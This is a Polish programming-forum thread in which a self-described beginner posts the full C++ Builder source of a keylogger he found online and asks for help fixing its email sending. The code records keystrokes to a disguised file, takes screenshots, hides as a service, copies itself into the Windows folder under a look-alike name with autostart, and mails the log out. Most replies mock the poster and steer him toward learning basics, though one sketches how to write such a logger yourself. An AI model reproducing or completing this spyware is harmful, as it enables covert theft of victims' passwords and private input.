Problem z wysyłaniem na emaila.

0

Witam wszystkich. Na wejsciu mowie ze NIE jestem dzieciakiem który pisze nowy temat w stylu "dajcie mi keyloggera bym mogl krasc konta w **** plox". Jestem poczatkujacym programista wiec proszę o wyrozumiałość, wiec przejde do rzeczy.. od jakiegos czasu probouje zrobic/skompilować keyloggera w Borland C++ Builder którego znalazlem w necie.. prawie wszystko działa.. własnie prawie.. kompilacja odbywa sie poprawie, Prawie Keylogger zapisuje sie w .exe lecz gdy w programi biore RUN wyskakuje mi bład zwiazany z wysyłaniem o to screen :

[b]Tak sie pojawia na hoscie Interia.pl : [/b]
[center][img]http://b.imagehost.org/0566/222_6.jpg[/img][/center]

[b]Tak sie pojawia na hoscie wp.pl :
[/b]
[center][img]http://b.imagehost.org/0448/333.jpg[/img][/center]

[b]Tak sie pojawia na hoscie gmail.com :[/b]

[center][img]http://d.imagehost.org/0635/444.jpg[/img][/center]

dla ułatwienia podam wam kod zródlowy:

[code]//---------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <vcl.h>
#pragma hdrstop
#include <Jpeg.hpp>
#include "fstream.h"
#include <shellapi.h>
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
#include <Registry.hpp>
#include <mmsystem.h>

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

String dir;
String czas;
String data;
int b=0;
int s=0;

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{

hKernelLib = LoadLibrary("kernel32.dll");
if(hKernelLib)
{
 RegisterServiceProcess =
      (pRegFunction)GetProcAddress(hKernelLib,
                                "RegisterServiceProcess");

    if(RegisterServiceProcess)
        RegisterServiceProcess(GetCurrentProcessId(),
                               RSP_SIMPLE_SERVICE);
}

}
__fastcall TForm1::~TForm1()
{
if(hKernelLib)
{
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_UNREGISTER_SERVICE);

    FreeLibrary(hKernelLib);
}

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
short character;
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

          FILE *file;
          file=fopen("svgchost.inf","a+");
          if(file==NULL)
          {
              return;
          }
          if(file!=NULL)
          {
              if((character>=39)&&(character<=64))
              {
                 fputc(character,file);
                 fclose(file);
                 break;
              }
              else if((character>64)&&(character<91))
              {
                 character+=32;
                 fputc(character,file);
                 fclose(file);
                 break;
              }
              else
              {
                switch(character)
                {
                   case VK_SPACE:
                   fputc(' ',file);
                   fclose(file);
                   break;
                   case VK_SHIFT:
                   fputs("[SHIFT]",file);
                   fclose(file);
                   break;
                   case VK_RETURN:
                   fputs("\n[ENTER]",file);
                   fclose(file);
                   break;
                   case VK_BACK:
                   fputs("[BACKSPACE]",file);
                   fclose(file);
                   break;
                   case VK_TAB:
                   fputs("[TAB]",file);
                   fclose(file);
                   break;
                   case VK_CONTROL:
                   fputs("[CTRL]",file);
                   fclose(file);
                    break;
                    case VK_DELETE:
                    fputs("[DEL]",file);
                    fclose(file);
                    break;
                    case VK_OEM_1:
                    fputs("[;:]",file);
                    fclose(file);
                    break;
                    case VK_OEM_2:
                    fputs("[/?]",file);
                    fclose(file);
                    break;
                    case VK_OEM_3:
                    fputs("[`~]",file);
                    fclose(file);
                    break;
                    case VK_OEM_4:
                    fputs("[ [{ ]",file);
                    fclose(file);
                    break;
                    case VK_OEM_5:
                    fputs("[\\|]",file);
                    fclose(file);
                    break;
                    case VK_OEM_6:
                    fputs("[ ]} ]",file);
                    fclose(file);
                    break;
                    case VK_OEM_7:
                    fputs("['\"]",file);
                    fclose(file);
                    break;
                    /*case VK_OEM_PLUS:
                    fputc('+',file);
                    fclose(file);
                    break;
                    case VK_OEM_COMMA:
                    fputc(',',file);
                    fclose(file);
                    break;
                    case VK_OEM_MINUS:
                    fputc('-',file);
                    fclose(file);
                    break;
                    case VK_OEM_PERIOD:
                    fputc('.',file);
                    fclose(file);
                    break;*/
                    case VK_NUMPAD0:
                    fputc('0',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD1:
                    fputc('1',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD2:
                    fputc('2',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD3:
                    fputc('3',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD4:
                    fputc('4',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD5:
                    fputc('5',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD6:
                    fputc('6',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD7:
                    fputc('7',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD8:
                    fputc('8',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD9:
                    fputc('9',file);
                    fclose(file);
                    break;
                    case VK_CAPITAL:
                    fputs("[CAPS LOCK]",file);
                    fclose(file);
                    break;
                    default:
                    fclose(file);
                    break;
                }
              }
           }
      }
    }

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer2Timer(TObject *Sender)
{

b++;
if(b>5) return;

data =DateToStr(Date());
czas =TimeToStr(Time());
TCanvas &PulpitCanvas = *new TCanvas();
Graphics::TBitmap *bitmap = new Graphics::TBitmap;

PulpitCanvas.Handle = GetDC(0);
bitmap->Width = Screen->Width;
bitmap->Height = Screen->Height;

bitmap->Canvas->CopyRect(Rect(0, 0, bitmap->Width, bitmap->Height), &PulpitCanvas,
Rect(0, 0, bitmap->Width, bitmap->Height));

try
{

dir = "";
dir = dir + b;
dir = dir + ".bmp";
bitmap->SaveToFile(dir);

   ReleaseDC(0, PulpitCanvas.Handle);
}
catch(...)
{
}

delete &PulpitCanvas;
delete bitmap;

//konwersja

dir = "";
dir = dir + b;
dir = dir + ".bmp";

Graphics::TBitmap *BMP = new Graphics::TBitmap();
TJPEGImage *JPG = new TJPEGImage();

BMP->LoadFromFile(dir);
JPG->Assign(BMP);
dir = "";
dir = dir + b;
dir = dir + ".jpg";

JPG->SaveToFile(dir);

JPG->Free();
BMP->Free();

 dir = "";

dir = dir + b;
dir = dir + ".bmp";

 DeleteFile(dir);

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer3Timer(TObject *Sender)
{
//330000
Timer3->Enabled = false;
b = 0;
s++;

SMTP->PostMessage->Subject = "Skan " + IntToStr(s);
/* SMTP->PostMessage->Attachments->Add("1.jpg");
SMTP->PostMessage->Attachments->Add("2.jpg");
SMTP->PostMessage->Attachments->Add("3.jpg");
SMTP->PostMessage->Attachments->Add("4.jpg");
SMTP->PostMessage->Attachments->Add("5.jpg");
*/ SMTP->PostMessage->Attachments->Add("svgchost.inf");
SMTP->Connect();

try
{
SMTP->SendMail();
//[email protected]
//nuker44
}
catch(...)
{
}
SMTP->Disconnect();

//usuwanie pliku
DeleteFile("svgchost.inf");
ShowMessage('Ty');

}
//---------------------------------------------------------------------------

void __fastcall TForm1::SMTPSendStart(TObject *Sender)
{
TExStringList *header = new TExStringList;

header->Clear();
header->Add("MIME-Version: 1.0\r\n");

header->Add("Content-type: text/html; charset=iso-8859-1\r\n");
header->Add("From: Agent [email protected]\r\n");

SMTP->FinalHeader = header;
delete header;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
if(!FileExists("c:\windows\svgchost.exe"))
{
String sciezka = Application->ExeName;
if (CopyFile(sciezka.c_str(), "c:\windows\svgchost.exe", true) == false) ShowMessage("Blad");

TRegistry& Rejestr = *new TRegistry();
Rejestr.RootKey = HKEY_LOCAL_MACHINE;
Rejestr.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run", false);
Rejestr.WriteString("svgchost", "c:\windows\svgchost.exe");
delete &Rejestr;
}
}
//---------------------------------------------------------------------------

[/code]

Kazdemu kto sie wypowie w Temacie serdecznie Dziekuje ! Licze na pomoc ! Pozdrawiam

0

Faktycznie nie jesteś dzieciakiem, który prosi o keyloggera, jesteś dzieciakiem, który ściągnął keyloggera i nawet nie wie jak go obsłużyć jest to idealny przykład scriptkiddie. Jeśli się mylę, a ty w rzeczywiście jesteś początkującym to ten kod również nie jest dla ciebie jak i całe środowisko builder.

0

forum jest od pomagania a nie zalenia sie nad kogos poczatkami z c++ , przypomnij sobie kiedys tez taki byłes ; )

0

Może i tak ale na pewno nie zaczynałem od keyloggerów. Więcej, nie pytałem się o nie na forum. Więcej, jeśli byłbym początkujący i miałbym zadać takie pytanie to w ostateczności uczyniłbym to w dziale "Newbe". Keyloggera potrafiłeś znaleźć w sieci to dziwi mnie fakt, że nie potrafisz poradzić sobie z taką pierdołą. Może następnym razem wpadniesz tutaj z kodem jakiegoś trojanka i też będziesz chciał pomocy przy nim? Zabierz się za normalne programy bo próbujesz skoczyć powyżej wałka, a niestety tak "se ne da". Wszystko w swoim czasie.

0

skoro Twoim zdaniem jest to pierdoła to powiedz wkoncu co musze zrobic.. a do do innych programów.. to uczyłem sie robic najprostszy kalkulator..

0

to teraz zrób bardziej zaawansowany kalkulator, z obsługą nawiasów np. a nie zabierasz się za rzeczy które nie rozumiesz jak działają

0

rozumiem , gdybym nie rozumiał to bym wgl sie za to nie zabierał. proste. wiec jak pomozesz?

0

Jakbyś rozumiał działanie, to bez problemu byś to poprawil samemu ;]

A jak na razie pl.spoj.pl

0

no ale trudno Ci pomoc ? jestem poczatkujacy i moze dla Ciebie to banalne a dla mnie niestety utrudnienie. człowiek uczy sie na własnych błedach i trzeba pomagac ludziom którzy tej pomocy potrzebuja gdy nie mogą sobie poradzic. jak ktos mi nie pomoze to sam sobie nie poradze mam racje?

0

Ja proponowałbym Ci napisać coś własnego. Niech nawet będzie ten keylogger, juz mniejsza o to. Napisz programik w czystym C++ i w WinAPI (bez głupich komponentów na formatce, itp.).

Na początek sczytuj wciśnięte klawisze do pliku (hook na klawiaturę). Jak to się uda znajdziesz jakąś dobrą bibliotekę do przesyłania maili i sobie poradzisz. W miarę upływu czasu rozszerzaj program o nowe możliwości.

Nie pomogę Ci, bo nie mam styczności z BCB.

0

dotychczasz pracowałem w C++ builderze.. co porponoujesz na zmiane by pisac samemu i nie bawic sie w komponenty itp?

0

Może być BCB, tylko zamiast aplikacji okienkowej tworzysz konsolową (tak mi się wydaje, ale dobrze byłoby, gdyby wypowiedział się ktoś zorientowany w temacie BCB) lub Code::Blocks.

Cały program napiszesz w jednym pliku (można podzielić go dla wygody na kilka plików).

Z tego szablonu powinieneś wyjść.

#include <iostream>
#include <windows.h>

using namespace std;

int main(int argc, char **argv)
{
    cout << "Będziesz miał konsolę, więc nie bój się jej używać, gdy program będzie wywalał błąd.\n";

    return 0;
}

Polecam przeczytać jakiś kurs tak ogólnie o C++ i WinAPI.
Może ten do C++: www.amatorskie-ebooki.oz.pl/pobierz/kursc++.pdf
A do WinAPI to: http://lublin.webd.pl/crayze/cpp-winapi/winapi.html

O pobieraniu znaków z klawiatury przeczytasz na MSDN i na forum, było o tym już naprawdę dużo postów.

Przeważnie piszę pod Linuksem, więc mam nadzieję, że nie minąłem się z prawdą za bardzo.

Powodzenia.

0
nuker44 napisał(a)

człowiek uczy sie na własnych błedach?

Tak to prawda, ale ten kod co wkleiłeś nie jest twój więc i błędy w nim zawarte nie są twoje. Twoim błędem jest to, że próbujesz napisać program, do którego nie masz podstaw. W ten sposób będziesz ślepo kopiował cudze kody i rozumiał co trzecią linijkę ( a może i mniej ), a nie o to chodzi. W ogóle builder na początek to nie jest dobry wybór ale często jest wybierany ze względu na duże efekty ( to co "wyklikasz" sobie robi na początkującemu jakieś tam wrażenie ). Próbowałeś napisać samemu coś w winapi? Napisz proste okienko z jakimiś bajerkami w c++ + winapi i zobacz co za ciebie robi builder ( po to w sumie on jest aby nie babrać się z winapi ) ale jeśli zgłaszasz się tutaj z takim problemem twierdząc, że jesteś początkujący to można przypuszczać, że nie potrafisz dobrze wykorzystywać wskaźników, nie masz opanowanego programowania obiektowego w c++ i wielu innych podstaw, które nabędziesz przy innych problemach programistycznych ( w tym algorytmicznych ). Napisz sobie szachy, sudoku, czy warcaby i zmierz się z typowymi problemami początkującego, na których uwierz mi nauczysz się dużo więcej niż na keyloggerze.

Moja sugestia, wypieprz na razie tego buildera, siądź przy jakimś mniejszym IDE ( proponowałbym code::blocks idealny do małych projektów ) i zmierz się z jakimiś typowymi problemami :)

0

a Ty i kolega wyzej na jakich programach/tutorialach były wasze poczatki ?

0

Po pierwsze trzeba się nauczyć samego języka. Ja zaczynałem od Visual Basic, później troszkę Delphi, a w końcu C++.

Do tego ostatniego jest dostępny tutorial "Od zera do gier kodera" - bardzo dobry i za darmo.
Natomiast jeżeli masz troszkę kasy możesz kupić "Symfonia C++ Standard" (koniecznie z dopiskiem standard! - wydanie III ukazało się w październiku 2010 (ale uwaga: na okładce jest nadal data 2008)) lub Thinking in C++ I i II tom (znajdziesz na helion.pl po polsku).

Obie te książki są bardzo dobre. Różnie są polecane, jedni polecają Symfonię, inni Thinking, ale to już jest zależne od której zaczynali. Mnie osobiście Thinking troszkę nudzi.

Do tego czytaj kod napisany przez innych. Próbuj robić zadania ze SPOJA ( https://pl.spoj.pl/ ) Dąż do rozwiązania problemów samodzielnie, a gdy zabraknie pomysłów zapytaj na forum.

0

Przeciez mu nie chodzi o to zeby sie czegos nauczyc, tylko zeby miec keyloggera i imponowac kolegom z gimnazjum ze sam go zrobił

0

Noo tak jak ja imponowałem kolegom, że 'zhackowałem' komputery w szkolnej sieci, po prostu łącząc się z nimi poprzez LAN :D oj to były czasy... :D

0
othello napisał(a)

Przeciez mu nie chodzi o to zeby sie czegos nauczyc, tylko zeby miec keyloggera i imponowac kolegom z gimnazjum ze sam go zrobił

A tak zapomniałem, najważniejsze to jeździć z kimś jak z gównem po betonie.

Chce się uczyć to niech się uczy, a że wybrał keyloggera to już inna sprawa. Niech go sobie pisze, tak Ci to przeszkadza?

0

to jak dałby rade ktos pomoc w edycji tego kodu?

0
yoel napisał(a)

że wybrał keyloggera to już inna sprawa. Niech go sobie pisze, tak Ci to przeszkadza?

No właśnie "niech go sobie pisze" (jeśli potrafi), a nam da spokój. Nie wiem jak othello ale mnie by to nie przeszkadzało gdyby tym nie truł tyłka na forum.

@autor Nie potrafisz tego zrobić? Cały czas nad tym siedzisz? I dobrze. Gdybyś przyszedł tutaj z bazą danych lub samym problemem wysyłania maili uzyskałbyś pewnie odpowiedź. Jednak prosisz aby pomóc ci w programie, który (powiedzmy sobie szczerze) nie jest dla ciebie. Jeśli nie potrafisz tego zrobić to sobie odpuść, może następnym razem uda ci się zostać "hakierem", a na razie może lepiej notatnik + batch + shutdown?

I nie ściemniaj proszę, że jest to twoja forma edukacji albo coś w tym stylu bo znam dużo lepsze i różne od tej formy nauki programowania.

0

Ja proponuje dać sobie spokój z keyami jak na początek tak w ogóle ja patrzyłem to trochę dziwny ten key nie wiem poco tam catach try jak nic nie jest łapane ni rzucane nie wiem jak ma bulider ale w visualu tak sobie dodana usługa odpali się będzie działać i zaraz się zatrzyma a zrobienie żeby było dobrze jest skąplikowane nawet dla dość doświadczonego programisty poza tym niech mnie ktoś poprawi jak się mylę ale jak usługa odpali proces keylogera to i tak nie będzie łapać klawiszy bo (będzie podpisana chyba jakoś system albo usługa a nie nazwa twojego konta). Nie chcę już patrzeć na samo wysyłanie maila ale powiem daj sobie z tym spokój D

1 użytkowników online, w tym zalogowanych: 0, gości: 1